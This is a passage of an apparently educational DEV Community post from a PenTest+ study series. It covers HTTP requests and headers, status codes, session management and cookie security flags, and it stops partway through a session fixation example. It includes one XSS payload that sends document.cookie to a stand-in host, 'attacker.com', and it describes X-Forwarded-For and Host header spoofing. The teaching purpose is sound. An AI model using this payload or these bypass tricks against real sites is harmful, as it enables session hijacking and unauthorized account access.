DEV Community: Rençber AKMAN

#Module 6 — Section 6.1 Overview of Web --Application-Based Attacks for Security Professionals and the OWASP Top 10

Rençber AKMAN — Thu, 13 Aug 2026 10:56:31 +0000

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
The complete foundation of web application security — from protocol to attack taxonomy

Table of Contents — Section 6.1

6.1.1 Overview — Why Web Applications Are the Most Attacked Surface on Earth
6.1.2 The HTTP Protocol — The Language Everything Speaks
6.1.3 Practice — Reading HTTP Traffic Like a Security Professional
6.1.4 Web Sessions — How the Stateless Protocol Pretends to Have Memory
6.1.5 Practice — Attacking and Analyzing Web Sessions
6.1.6 OWASP Top 10 — The Map of the Web Application Attack Surface
6.1.7 Lab — Website Vulnerability Scanning
6.1.8 Lab — Using the GVM Vulnerability Scanner

6.1.1 Overview — Why Web Applications Are the Most Attacked Surface on Earth

The Scale of the Problem

Before diving into any technique or tool, we need to answer the most fundamental question: why do penetration testers care about web applications more than almost anything else?

The answer is pure accessibility. A misconfigured login form, a vulnerable API endpoint, a poorly designed session management system — any of these can be reached by anyone on the planet with an internet connection and a browser. There are no geographic barriers. There are no locked doors. An attacker sitting in an apartment can probe a bank's web application from a laptop as easily as they could probe a neighbor's Wi-Fi.

The numbers back this up. Verizon's 2024 Data Breach Investigations Report found that web application attacks were the primary attack vector in the majority of confirmed data breaches across all industries. IBM's 2024 Cost of a Data Breach Report puts the average cost of a single web application breach at over four million dollars. And these numbers come despite decades of security awareness, billions of dollars in defensive tooling, and thousands of available security frameworks and libraries.

Why does the problem persist? Because the web is genuinely, architecturally complex. A modern web application is not a single thing — it is a layered system involving browsers, HTTP servers, application servers, databases, caching layers, load balancers, CDN providers, third-party APIs, JavaScript frameworks, mobile apps, and more. Every boundary between these components is a potential vulnerability. Developers are under constant pressure to build features and ship code. Security is evaluated at the end, not baked into the beginning. And the OWASP Foundation — one of the most respected cybersecurity bodies in the world — has catalogued ten categories of vulnerabilities that appear, year after year, in virtually every application they test.

What This Section Builds

Section 6.1 is the foundation for everything that follows in Module 6. If you do not understand HTTP deeply, SQL injection looks like magic. If you do not understand how sessions work, CSRF attacks seem inexplicable. If you do not know the OWASP Top 10, you do not have a structured way to approach a web application assessment.

This section builds three layers of understanding:

The first layer is the protocol — HTTP. This is the language in which every web attack is conducted. Understanding it at the byte level is not optional for a professional penetration tester.

The second layer is web sessions — how applications manage state on top of a stateless protocol, and why every mechanism used to do so creates new attack surface.

The third layer is the OWASP Top 10 — the industry's consensus map of where web applications break, why they break there, and what the attack and defense look like for each category.

The Mental Model to Carry Throughout This Module

Think of a web application assessment not as "running tools against a website" but as "having a conversation with a server in the language of HTTP and learning from what it says back." Every response the server sends — its headers, its status codes, its error messages, its redirects — is information. Every parameter the application accepts is a potential injection point. Every piece of state the application remembers is a potential target.

A skilled web application penetration tester is, at their core, a very careful reader of HTTP traffic who notices things that automated tools miss.

6.1.2 The HTTP Protocol — The Language Everything Speaks

What HTTP Is and Why Understanding It Deeply Matters

HTTP stands for HyperText Transfer Protocol. It was invented in 1989 by Tim Berners-Lee as part of the original World Wide Web design, standardized in RFC 1945 (HTTP/1.0) in 1996, and has been the foundational protocol of the web ever since.

HTTP is an application-layer protocol sitting at Layer 7 of the OSI model. Below it, at Layer 4, runs TCP — the reliable, connection-oriented transport protocol that handles packet ordering, delivery confirmation, and retransmission. When you make an HTTP request, your operating system first establishes a TCP connection to the server, and HTTP messages flow through that established connection.

HTTPS is not a separate protocol. It is HTTP running inside a TLS (Transport Layer Security) encrypted tunnel. The application data — the HTTP request and response — is identical in both cases. The difference is that HTTPS wraps that data in encryption before it leaves your machine, so anyone intercepting the network traffic between you and the server sees only encrypted gibberish rather than the actual HTTP messages.

Here is the single most important thing to understand about HTTP before learning any web vulnerability: HTTP is completely stateless. Every single request is treated by the server as an independent transaction. The server processes it, sends a response, and immediately forgets the request ever happened. The next request you send — even a millisecond later, even from the exact same browser — is treated as if it came from a complete stranger.

This statelessness is not an oversight. It is intentional design. It makes HTTP servers vastly simpler and more scalable — any server in a cluster can handle any request because no server needs to maintain memory of previous interactions. But this statelessness creates the problem that generates half of all web security vulnerabilities: how does the server remember who you are? We will address this completely in Section 6.1.4. For now, keep this question in mind as we build the foundation.

The Request-Response Model — The Heartbeat of the Web

Everything in HTTP is a request followed by a response. The client (your browser, curl, Burp Suite, a mobile app) sends a request. The server processes it and sends back a response. That is the entire model. Every web interaction you have ever had — every page load, every login, every Google search, every API call — followed this exact structure.

Anatomy of an HTTP Request

An HTTP request has four distinct parts: the request line, the headers section, a blank line (which signals the end of headers), and optionally a body. Let us look at a real login request and dissect every element:

POST /api/v1/auth/login HTTP/1.1
Host: bank.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 58
Origin: https://bank.example.com
Referer: https://bank.example.com/login
Cookie: _ga=GA1.2.1234567890; tracking_id=7f3a2b1c
Connection: keep-alive
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors

{"username":"alice@bank.com","password":"MyP@ssw0rd2024"}

The Request Line: POST /api/v1/auth/login HTTP/1.1

This single line contains three pieces of critical information. The method (POST) tells the server what action to perform. The path (/api/v1/auth/login) tells the server which resource to act upon. The version (HTTP/1.1) tells both sides which protocol rules apply.

HTTP Methods — What They Mean and Why Each Matters for Security

The method is one of the first things a penetration tester looks at because it shapes the entire behavior of the request.

GET requests retrieve a resource and should never cause side effects. The design intention is that GET is "safe" — you can send it multiple times and nothing changes. The critical security implication is that GET parameters appear in the URL: https://example.com/search?query=value&user=123. These URL parameters appear in browser history, server access logs, corporate proxy logs, and the HTTP Referer header when the user clicks a link to another site. Never put sensitive data — passwords, session tokens, personal information — in GET parameters. Many developers know this in theory but violate it under deadline pressure.

POST requests send data to the server to create or process something. The data goes in the request body, not the URL. This makes POST the correct choice for login forms, payment submissions, and any sensitive data. However — and this is a critical point many beginners misunderstand — POST is not inherently secure. Without HTTPS, the POST body is just as readable to a network eavesdropper as a GET URL. POST gives you privacy from browser history and logs; it does not give you encryption.

PUT requests replace a resource entirely. PATCH requests partially update a resource. If an application exposes PUT or PATCH endpoints without proper authorization checks, an attacker can overwrite other users' data — or administrative data — trivially. During a web application assessment, always test all HTTP methods against every endpoint, not just GET and POST.

DELETE requests remove a resource. An unauthenticated or improperly authorized DELETE endpoint is catastrophic — it allows deleting any resource. Finding a DELETE endpoint accessible to regular users when it should require administrative privileges is a critical finding.

OPTIONS requests ask the server what methods it supports for a given URL. The server responds with an Allow header listing permitted methods. This is used by browsers for CORS preflight checks (discussed below). For penetration testers, sending OPTIONS to every endpoint gives you a map of what methods exist before you even test them individually.

HEAD requests work like GET but the server sends only the response headers, not the body. Because the body is omitted, HEAD responses are very fast. Penetration testers use HEAD for rapid reconnaissance — checking status codes, response headers, and server technology across many URLs without downloading the full response bodies.

TRACE requests are designed for diagnostic purposes — the server echoes back the entire request it received, including all headers. This enables the Cross-Site Tracing (XST) attack: if TRACE is enabled on a server that also serves JavaScript, an attacker can use JavaScript to send a TRACE request and read the echoed response, potentially exposing HttpOnly cookies that JavaScript should not be able to access. TRACE should always be disabled in production. If you find it enabled, document it as a finding.

Headers — The Metadata Layer Where Security Lives

HTTP headers are key-value pairs that carry metadata about the request or response. They are enormously important for security professionals because they reveal the application's technology, configuration decisions, and security posture. Learning to read headers fluently is one of the highest-leverage skills in web application testing.

Request Headers That Matter for Security:

Host: bank.example.com
This header tells the server which virtual host to serve the request for. Servers that host multiple domains on one IP address use this header to route requests. This matters for security because some applications use the Host header to construct URLs in password reset emails, absolute redirect URLs, and other places. If the application blindly trusts the Host header without validation, an attacker can manipulate it to redirect sensitive links (like password reset links) to attacker-controlled servers. This is called a Host Header Injection attack.

User-Agent: Mozilla/5.0...
Identifies the browser software making the request. Applications sometimes use this for browser-specific behavior, access control (blocking certain user agents), or analytics. From an attacker's perspective, this can be trivially forged — changing User-Agent to "Googlebot" or "SecurityScanner" is one line in Burp Suite. Never rely on User-Agent for security decisions.

Cookie: _ga=GA1.2.1234567890; tracking_id=7f3a2b1c
The Cookie header sends back cookies that the server previously set. This is the primary mechanism for session management (discussed in full in 6.1.4). Every request to the matching domain automatically includes applicable cookies — which is exactly what enables CSRF attacks, because the browser sends cookies on requests it did not intend to make.

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Used for API authentication, most commonly with JWT (JSON Web Token) Bearer tokens. This header does not automatically persist like cookies — the JavaScript application must explicitly include it in each request. This makes JWT Bearer auth less vulnerable to CSRF (you cannot forge a header from another website via a form submission) but more vulnerable to XSS theft (if your JavaScript is compromised, your Bearer tokens are too).

Content-Type: application/json
Tells the server how the request body is formatted. This is critical for penetration testers because the content type determines which vulnerability classes to test. A JSON body requires different SQL injection and XSS payloads than a URL-encoded form body. An XML body opens up XXE (XML External Entity) attack possibilities that JSON bodies do not. A multipart/form-data body indicates file uploads are happening.

Referer: https://bank.example.com/login
Note the historical misspelling — this should be "Referrer" but the typo made it into the RFC and has never been corrected. This header tells the server which page the request came from. Applications sometimes use this for security decisions (blocking requests that did not come from the expected page). Attackers forge it trivially. It also leaks information — if the Referer header from a request contains a URL with sensitive parameters, those parameters are now logged on the destination server.

Origin: https://bank.example.com
Used in CORS (Cross-Origin Resource Sharing) requests and CSRF-relevant scenarios. The Origin header cannot be set by JavaScript from a different origin — it is enforced by the browser. This makes it a more reliable source-of-truth for cross-origin security decisions than Referer.

X-Forwarded-For: 10.0.0.5
Added by load balancers and reverse proxies to indicate the original client IP address. Applications that implement IP-based access controls — allowing admin access only from the internal network, for example — sometimes check this header. But here is the key: X-Forwarded-For can be set to any value by the client. If an application restricts admin access to 127.0.0.1 and checks X-Forwarded-For to determine the client IP, an attacker can simply add X-Forwarded-For: 127.0.0.1 to their request and bypass the restriction entirely. This is a common and easily overlooked finding.

Response Headers That Reveal Security Posture:

Response headers are your security posture checklist for a web application. The presence or absence of specific security headers tells you a great deal about how the application handles various attack classes.

Server: nginx/1.24.0 — Reveals web server technology and version. Should be removed or set to a generic value in production. When you find it, cross-reference against vulnerability databases for the specific version. Even a minor version difference can be the line between patched and unpatched.

X-Powered-By: PHP/8.1.0 — Reveals server-side language and runtime version. Again, this should be removed. PHP version information maps directly to known CVEs.

Set-Cookie: session_id=7f3a9b2c1d8e4f6a; Path=/; HttpOnly; Secure; SameSite=Strict
This is one of the most important headers to analyze in any web application. The flags on this header determine whether the session can be stolen via XSS (HttpOnly prevents this), whether it can be sniffed on HTTP (Secure prevents this), and whether it is vulnerable to CSRF (SameSite controls this). A missing flag is a vulnerability. Full details in Section 6.1.4.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com
CSP is a browser-enforced security mechanism that restricts which sources of content — scripts, stylesheets, images, fonts, frames — the page may load. A strong CSP is the primary defense against XSS exploitation. Even if an attacker injects a script tag, CSP prevents the browser from executing it unless the source is whitelisted. A missing CSP is not a vulnerability by itself — but it means XSS is far more impactful if found.

X-Frame-Options: DENY or X-Frame-Options: SAMEORIGIN
This header controls whether the page can be embedded in an iframe from another domain. Missing this header enables Clickjacking (covered in Section 6.9). The Content-Security-Policy frame-ancestors directive is the modern replacement, but X-Frame-Options is still checked for compatibility.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
HSTS instructs browsers to always use HTTPS for this domain, for the specified duration (31536000 seconds = 1 year). Once a browser receives this header, it will refuse to make unencrypted HTTP connections to the domain for that period — even if the user types http://. The includeSubDomains flag extends this to all subdomains. The preload flag enables the domain to be included in browser preload lists, so HSTS is enforced even on the very first visit. A missing HSTS header allows SSL stripping attacks on the first connection.

Access-Control-Allow-Origin: https://app.example.com
CORS headers control which origins are permitted to make cross-origin requests and read the responses. A misconfigured CORS policy — particularly one that reflects any Origin header (Access-Control-Allow-Origin: * or dynamically mirroring the request's Origin) combined with Access-Control-Allow-Credentials: true — allows a malicious website to make authenticated cross-origin requests and read the responses. This is a critical vulnerability class.

X-Content-Type-Options: nosniff
Prevents browsers from guessing (sniffing) the content type of a response. Without this, a browser might interpret a text file as HTML and execute embedded scripts. With it, the browser must use the declared Content-Type. Missing this is typically medium severity — it enables certain content injection scenarios.

Referrer-Policy: strict-origin-when-cross-origin
Controls how much information is included in the Referer header on outgoing requests. Sensitive applications (healthcare, finance, legal) should set this to prevent leaking sensitive URL parameters to third parties.

Permissions-Policy: geolocation=(), camera=(), microphone=()
Controls which browser features (geolocation, camera, microphone, payment) are enabled in the document. A missing or permissive policy may allow scripts to access hardware features unexpectedly.

HTTP Status Codes — Reading What the Server Tells You

Status codes are three-digit numbers in every HTTP response that communicate the outcome of the request. For penetration testers, status codes are not just informational — they reveal the application's internal behavior and directly inform attack strategy.

1xx — Informational
Rarely encountered in web application testing. 100 Continue is sometimes sent before large POST bodies.

2xx — Success
200 OK — The request succeeded and the body contains the response. Standard success.
201 Created — A resource was successfully created (common in REST APIs after POST).
204 No Content — Success, but no body. Common for DELETE responses and some PUT/PATCH operations.
206 Partial Content — Partial file delivery. Important in file download functionality.

3xx — Redirection
301 Moved Permanently — Resource permanently relocated. Browsers cache this aggressively.
302 Found — Temporary redirect. The most common redirect type in web applications.
304 Not Modified — Client's cached version is still valid. No content sent.
The security implication: redirects can be manipulated. An Open Redirect vulnerability occurs when an application redirects to a URL from user input without validation, allowing attackers to redirect victims to malicious sites. Look for parameters like ?redirect=, ?next=, ?url=, ?return= in redirect chains.

4xx — Client Errors
This range is the penetration tester's reconnaissance goldmine.

400 Bad Request — The server cannot parse the request. Sometimes reveals parsing details in the error message.
401 Unauthorized — Authentication is required. The server is telling you this endpoint exists but requires credentials.
403 Forbidden — You are authenticated, but not authorized for this resource. This is crucial: a 403 means the resource EXISTS. During directory brute forcing, a 403 is a finding — it reveals a hidden path that requires authorization. A 404 means "not found" (or the server is lying).
404 Not Found — Resource does not exist. Or does it? Security-hardened applications return 404 for unauthorized resources instead of 403 specifically to avoid revealing that the resource exists. This is called "security through ambiguity" — not a strong control, but a valid defense layer.
405 Method Not Allowed — The resource exists but the HTTP method is wrong. Very useful during method enumeration — it tells you the resource is there but you need a different method.
429 Too Many Requests — Rate limiting is active. The application has noticed your rapid requests. Slow down or rotate infrastructure.

5xx — Server Errors
500 Internal Server Error — The server crashed processing your request. Often reveals stack traces, framework versions, database types, file paths, and internal code structure in the response body. A 500 triggered by your input is almost always a vulnerability indicator — something you sent caused unexpected behavior.
502 Bad Gateway — The reverse proxy could not reach the backend. Reveals that a proxy architecture is in use.
503 Service Unavailable — Server is overloaded or in maintenance. Sometimes caused by your own DoS testing.

The key insight about status codes: When you are brute-forcing directories, fuzzing parameters, or testing inputs, you are not just looking for "success." You are watching for differences. A parameter that returns 200 for normal input and 500 for your SQL injection payload has told you something critical, even if you cannot see the full database. A directory that returns 403 instead of 404 exists. An endpoint that returns a different response size for one payload than all others has reacted to your input uniquely. Status codes and response differences are how web applications leak information about their internal behavior.

HTTP Versions — The Evolution and Its Security Implications

Understanding HTTP versions matters because different versions create different attack surfaces, different behavior in security tools, and different requirements for your testing methodology.

HTTP/1.0 (1996)
One TCP connection per request-response pair. After each response, the connection closes. Sends one request at a time and waits for the complete response before sending the next. Extremely inefficient for modern web pages that require dozens of resources. Almost never seen in real assessments today except in very legacy systems.

HTTP/1.1 (1997 — still the baseline)
Introduced persistent connections (keep-alive), meaning the TCP connection stays open for multiple request-response pairs. This is enormously more efficient. Also introduced chunked transfer encoding, allowing responses to be sent in pieces before their full size is known.

HTTP/1.1 is text-based — the protocol messages are human-readable ASCII. This is why you can type raw HTTP/1.1 in telnet or netcat and it works. This is also what makes Burp Suite's Repeater so intuitive — you are literally editing text.

HTTP/1.1 suffers from head-of-line blocking: if you send three requests on a persistent connection, the second cannot be processed until the first response arrives, and the third cannot begin until the second response arrives. Requests are serialized.

Most importantly for security professionals: HTTP/1.1 is what Burp Suite shows you by default and what most security tooling assumes. Even when the browser negotiates HTTP/2 with the server, Burp Suite transparently translates — you see HTTP/1.1 in the proxy, and Burp handles the HTTP/2 wire format on your behalf.

HTTP/2 (2015)
HTTP/2 was a major architectural redesign, solving the performance problems of HTTP/1.1. The key changes:

Binary framing: HTTP/2 is a binary protocol, not text. HTTP/1.1 headers and bodies are converted to binary frames. This makes it more efficient for machines to parse but less human-readable. You cannot type HTTP/2 by hand — it requires a proper implementation.

Multiplexing: Multiple requests can be in-flight simultaneously over a single TCP connection. The head-of-line blocking problem disappears at the HTTP level (though it persists at the TCP level).

Header compression (HPACK): Headers are compressed using a specialized algorithm. Since the same headers are sent on virtually every request (Host, User-Agent, Authorization, Cookie), this is significant bandwidth savings.

Server push: The server can proactively send resources the client will need before the client asks for them.

HTTP/2 security implications:
The binary format means traditional text-based IDS signatures for HTTP/1.1 attacks do not work directly against HTTP/2 traffic. This has been used in evasion scenarios. HTTP/2 also introduced new attack classes: HTTP/2 Request Smuggling — exploiting inconsistencies between how HTTP/2 frontend proxies and HTTP/1.1 backend servers parse the stream — is one of the most powerful web attack techniques discovered in recent years (documented by James Kettle/PortSwigger). Additionally, some servers support HTTP/2 cleartext (h2c upgrades) which can be used to bypass security middleware that only inspects HTTPS traffic.

HTTP/3 (2022 — RFC 9114)
HTTP/3 is the most radical change to the HTTP protocol stack in its history. It does not use TCP at all. Instead, it uses QUIC — a protocol built on UDP that implements its own reliable delivery, flow control, and congestion management.

The rationale: TCP's reliability mechanisms cause a specific problem called TCP-level head-of-line blocking. If a single TCP packet is lost, all data behind it in the stream must wait, even data that belongs to completely independent HTTP streams. QUIC, being UDP-based, allows independent streams to continue even when one stream has a lost packet.

QUIC also integrates TLS 1.3 directly — the cryptographic and transport handshakes happen simultaneously, reducing connection establishment from two round trips (TLS 1.2 over TCP) to one round trip, or even zero for repeated connections (0-RTT). HTTP/3 mandates TLS 1.3 — there is no unencrypted HTTP/3.

HTTP/3 security implications for penetration testers:
HTTP/3 runs over UDP port 443. Firewalls and network appliances that assume all web traffic uses TCP port 443 may inadvertently allow HTTP/3 traffic through rules designed for TCP. Packet capture tools that rely on TCP inspection (Wireshark's default TCP reassembly, many IDS systems) may struggle with QUIC's UDP-based traffic. Your proxy (Burp Suite) needs specific configuration to handle HTTP/3 traffic. The 0-RTT feature has theoretically exploitable replay attack implications. As of 2025, major platforms (Google, Meta, Cloudflare) have widely deployed HTTP/3, making it increasingly relevant in web application assessments.

HTTPS — What It Protects and What It Does Not

HTTPS is HTTP encrypted by TLS. This is worth being extremely precise about because the common understanding is both correct and dangerously incomplete.

What HTTPS protects:

The content of every HTTP request and response body
All HTTP headers (including cookies, Authorization tokens, form data)
The URL path and query parameters (the path after the domain is encrypted)
Integrity — messages cannot be tampered with in transit without detection

What HTTPS does not protect:

The domain name you are connecting to (visible in DNS queries and TLS SNI — Server Name Indication, which is the unencrypted field in the TLS handshake where the client tells the server which hostname it wants)
The IP address of the server
Timing and size of requests and responses (traffic analysis)
Any application-layer vulnerability (SQL injection, XSS, CSRF, SSRF — all work identically over HTTPS)

That last point is the critical one for every security conversation. The padlock icon in your browser means the channel is encrypted. It says absolutely nothing about whether the application is secure. A web application can be fully HTTPS-only and simultaneously riddled with every vulnerability in the OWASP Top 10. The lock is a channel guarantee, not an application guarantee.

6.1.3 Practice — Reading HTTP Traffic Like a Security Professional

Setting Up Burp Suite as Your Window Into HTTP

The single most important skill to practice here is reading raw HTTP traffic. The browser hides everything — it renders the page, you see the visual result, and you know nothing about the underlying communication. Burp Suite removes this hiding layer entirely. Every request your browser makes, every response the server sends, is laid bare — every header, every parameter, every cookie, every redirect.

Setting up Burp Suite as an intercepting proxy:

On Kali Linux, Burp Suite Community Edition is pre-installed. Launch it from the applications menu or terminal (burpsuite). Navigate to Proxy → Options → Proxy Listeners. The default listener is 127.0.0.1:8080. Configure your browser (or use Burp's built-in browser) to proxy through 127.0.0.1:8080.

Once configured, every request your browser makes passes through Burp. In the Proxy → Intercept tab, with interception on, you can read and modify each request before it is sent. The HTTP History tab shows every request and response in chronological order. This is your intelligence feed.

What to Look For When You First Open a Web Application

When you load a new web application for the first time in an assessment, do not just browse it visually. Open Burp and watch the HTTP history as you explore. Train yourself to look for:

Server and technology disclosure: Check every response's Server and X-Powered-By headers. Even if the homepage hides these, error pages and API endpoints often reveal them.

Security headers: For each application, check the primary responses for the presence or absence of: X-Frame-Options, Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, Referrer-Policy. Document each missing header — they are valid findings.

Cookie security flags: When you receive Set-Cookie headers, check every flag. Missing HttpOnly means XSS can steal the cookie. Missing Secure means the cookie is sent over HTTP. Missing SameSite leaves the door open for CSRF.

URL structure patterns: Look for numeric IDs in URLs — /users/1042, /orders/77891, /api/documents/453. These are IDOR candidates. Look for patterns suggesting database table names, internal system names, or backend frameworks in URL structure.

JavaScript files: Burp captures all JavaScript file requests. Review them in the Site Map. JS files frequently contain: API endpoint paths, environment-specific comments, authentication logic, hardcoded API keys or credentials, and development-time debugging code left in production.

API calls: Single-page applications and mobile backends make extensive API calls (JSON over HTTP). These appear in Burp's history and are often much less secured than the web UI because developers assume only the official app will call them.

Error conditions: Deliberately cause errors — navigate to nonexistent pages, submit invalid data types in forms, send malformed JSON bodies. What do error responses reveal? Stack traces show the framework and language. SQL error messages show the database type and sometimes query structure. File path errors reveal server directory structure.

The Recon Checklist for the First 30 Minutes

When you start a web application assessment, before you run any active tools, spend 30 minutes doing this manually:

Browse every page linked from the main navigation. Observe the URL structures. Submit every form with legitimate data to see normal behavior. Log in if accounts are provided. Use the application as intended.

While doing this in Burp:

Note all the domains and subdomains the application contacts (visible in the HTTP history target column)
Note all authentication mechanisms (cookie-based sessions, JWT, OAuth flows)
Note all file upload functionality
Note any functionality that takes a URL as input (link preview, webhook, import from URL)
Note any numeric IDs in URLs or request parameters
Note any admin or privileged functionality even if your account cannot access it

This manual reconnaissance phase tells you where to focus your testing time and which vulnerability classes are most likely relevant. The automated tools come after — they run faster against a scope you already understand.

6.1.4 Web Sessions — How the Stateless Protocol Pretends to Have Memory

The Problem HTTP Statelesness Creates

We established that HTTP is stateless. But websites clearly maintain state — you log in once and the site knows who you are for an entire session. How?

This is a fundamental engineering challenge. The web was originally designed for static documents, not applications that maintain user state across multiple interactions. As the web evolved into an application platform, a series of state management mechanisms were layered on top of the fundamentally stateless HTTP protocol.

Understanding these mechanisms is essential for web security because each one — cookies, sessions, tokens — creates specific, exploitable vulnerabilities.

How Sessions Work — The Complete Mechanism

The session lifecycle works like this:

Step 1: Authentication
You send your credentials to the login endpoint. The server validates them against its database. If valid, the server needs a way to "remember" that you authenticated so it does not require you to log in for every subsequent page.

Step 2: Session Creation
The server creates a session record in its session store. This might be an in-memory structure like Redis, a database table, or even the filesystem. The session record stores data about your authenticated state — your user ID, your role, your permissions, potentially your preferences. Something like:

{
  "session_id": "7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c",
  "user_id": 10042,
  "role": "admin",
  "created_at": "2026-07-16T09:30:00Z",
  "expires_at": "2026-07-16T17:30:00Z",
  "ip_address": "192.168.1.100"
}

Step 3: Session ID Delivery
The server sends you the session ID (just the ID, not all the session data) via a Set-Cookie header in the login response:

HTTP/1.1 200 OK
Set-Cookie: session_id=7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=28800

Step 4: Automatic Cookie Transmission
Your browser stores this cookie and automatically attaches it to every subsequent request to bank.example.com:

GET /dashboard HTTP/1.1
Host: bank.example.com
Cookie: session_id=7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c

Step 5: Session Lookup
The server receives this request, extracts the session ID from the Cookie header, looks it up in the session store, finds your session record, and from that knows you are authenticated as user 10042 with admin role. It processes the request accordingly.

The session ID is just a reference key. The actual data lives server-side in the session store. The browser holds only the key.

Why Session IDs Must Be Cryptographically Random

The session ID is the key to your authenticated identity. If an attacker obtains your session ID, they can impersonate you completely — without knowing your password, without your phone for MFA, without any other credential. They simply need to include your session ID in a Cookie header, and the server will think they are you.

This attack is called session hijacking, and it is one of the most immediately devastating attacks in web security. A single captured session ID can give an attacker full access to an account for the duration of the session — which on poorly designed sites can be weeks or months.

For session IDs to be secure against brute force and prediction attacks, they must be:

Generated using a CSPRNG: A Cryptographically Secure Pseudo-Random Number Generator produces values that are computationally impossible to predict. Standard random number functions like JavaScript's Math.random(), PHP's rand(), or Python's random module are NOT cryptographically secure. They are designed for statistical distributions, not unpredictability. A session ID generated with rand() can be predicted if an attacker captures a few session IDs and identifies the seed or state of the generator. Use secrets in Python, crypto.randomBytes() in Node.js, random_bytes() in PHP, SecureRandom in Java.

Long enough to resist brute force: Session IDs should have at least 128 bits of entropy. At 128 bits, even if an attacker could try a billion session IDs per second, it would take longer than the age of the universe to find a valid one statistically. Many frameworks generate 128 or 256-bit session IDs by default — but some older frameworks still generate dangerously short IDs.

Not derived from predictable data: A session ID that incorporates base64(username + timestamp) is not random — it is deterministic. An attacker who knows your username and approximately when you logged in can compute your session ID. Session IDs must be completely independent of any user-specific data.

Invalidated server-side on logout: This is one of the most commonly missed requirements. When a user logs out, the server must delete the session record from the session store — not just tell the browser to delete the cookie. If only the client-side cookie is cleared but the server-side session persists, the session is still valid. Anyone who captured or observed the session ID earlier (from a shared browser, from a network sniff, from logs) can replay it. The only correct logout is server-side session invalidation.

Regenerated on privilege change: Whenever a user's privilege level changes — most importantly, upon successful login — the server must generate a new session ID and invalidate the old one. This prevents session fixation attacks.

Cookie Security Flags — The Defense Mechanisms

When the server sets a cookie, it can attach flags that control the cookie's security behavior. Understanding these flags is essential because their absence creates directly exploitable vulnerabilities.

The HttpOnly Flag

Set-Cookie: session_id=abc; HttpOnly

HttpOnly prevents JavaScript from reading the cookie. When HttpOnly is set, document.cookie returns the cookie name but not its value. The cookie exists in the browser's cookie jar and is still sent with HTTP requests — but JavaScript code running in the page cannot read it.

Why this matters: XSS (Cross-Site Scripting) attacks work by injecting malicious JavaScript into a page. The most common goal of XSS is session theft — the injected script reads document.cookie and sends the session ID to the attacker. HttpOnly blocks this specific theft vector.

What HttpOnly does NOT do: It does not prevent the cookie from being sent with HTTP requests. So CSRF attacks are completely unaffected — the browser still sends the HttpOnly cookie on every request to the domain, including forged ones from malicious pages.

The Secure Flag

Set-Cookie: session_id=abc; Secure

Secure tells the browser to only transmit this cookie over HTTPS connections, never over plain HTTP. Without Secure, if a user visits any HTTP version of the site — even accidentally, through an old bookmark or an HTTP link — the browser sends the cookie in cleartext over the unencrypted connection, where a network eavesdropper can capture it.

This is especially relevant in scenarios where HTTPS is deployed but HTTP is not explicitly redirected, or where mixed-content situations exist.

The SameSite Flag

Set-Cookie: session_id=abc; SameSite=Strict

SameSite controls when the cookie is included in cross-site requests. This is the primary cookie-level defense against CSRF (Cross-Site Request Forgery).

SameSite=Strict — The cookie is only sent when the request originates from the same site. Cross-site navigations (following a link from another website) and cross-site requests (fetches, form submissions, image loads) from other domains will NOT include this cookie. Maximum CSRF protection. The tradeoff: if you link to your site from an email or social media, the initial request will not include the cookie, so the user will appear logged out and need to re-authenticate.

SameSite=Lax — The cookie is NOT sent on cross-site background requests (API calls, images, iframes from other sites) but IS sent when a user follows a top-level navigation link from another site. This is the default in modern browsers when SameSite is not specified. It provides good CSRF protection while maintaining the user experience of staying logged in when following links.

SameSite=None — The cookie is sent on all requests regardless of origin. This is required for legitimate cross-site cookies (third-party analytics, embedded payment forms, OAuth cross-site flows). Must be paired with Secure — browsers refuse to set SameSite=None cookies without the Secure flag.

The SameSite attribute, when properly implemented, dramatically reduces CSRF risk. But it is not a complete CSRF defense on its own — implementation inconsistencies across older browsers, subdomain trust relationships, and specific request type exceptions mean CSRF tokens should still be used alongside SameSite.

Domain and Path Attributes

Set-Cookie: session_id=abc; Domain=.example.com; Path=/

Domain controls which hostnames receive the cookie. Domain=.example.com sends the cookie to example.com and all its subdomains — api.example.com, app.example.com, dev.example.com. This has a security implication: if any subdomain has an XSS vulnerability, an attacker exploiting that XSS can steal cookies scoped to the entire .example.com domain, including the main application's session cookies.

Path controls which URL paths on the server receive the cookie. Path=/api would only send the cookie to requests under /api. This is rarely used for security (it is more commonly used to prevent cookie bloat from sending large cookies to every request).

Session Attacks — A Complete Taxonomy with Exploitation Patterns

Session Hijacking

The attacker obtains a valid session ID and replays it in their own requests. Attack vectors for obtaining the session ID:

Network interception: If the Secure flag is missing, session cookies travel in cleartext over HTTP. A network eavesdropper (MITM on the same network, rogue Wi-Fi AP, corporate proxy) captures the cookie value. The attacker copies the cookie into their browser and is immediately authenticated as the victim.

XSS theft: If HttpOnly is missing, an XSS payload reads and exfiltrates the cookie:

// Attacker's XSS payload sent to the victim's browser
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie))

With the cookie captured, the attacker imports it into their browser and takes over the session.

Log extraction: Server access logs sometimes contain session tokens if they appear in URLs (a result of developers incorrectly using GET parameters for session management). Log aggregation systems, monitoring dashboards, and error reporting services are worth checking for session ID exposure.

Server-side session store breach: If the session store (Redis, database) is compromised, all active session IDs are exposed simultaneously.

Session Fixation

In session fixation, the attacker does not steal a session — they force a known session ID onto the victim before authentication, then use that known ID after the victim authenticates.

Attack flow:

Attacker visits the login page and receives a pre-authentication session ID from the server (e.g., session_id=attacker_known_value)
Attacker sends the victim a link that includes this session ID: https://bank.example.com/login?session_id=attacker_known_value
Victim clicks the link and the application sets a cookie with the attacker's known session ID
Victim logs in successfully
The application does NOT generate a new session ID after login — it keeps the same session ID now marked as authenticated
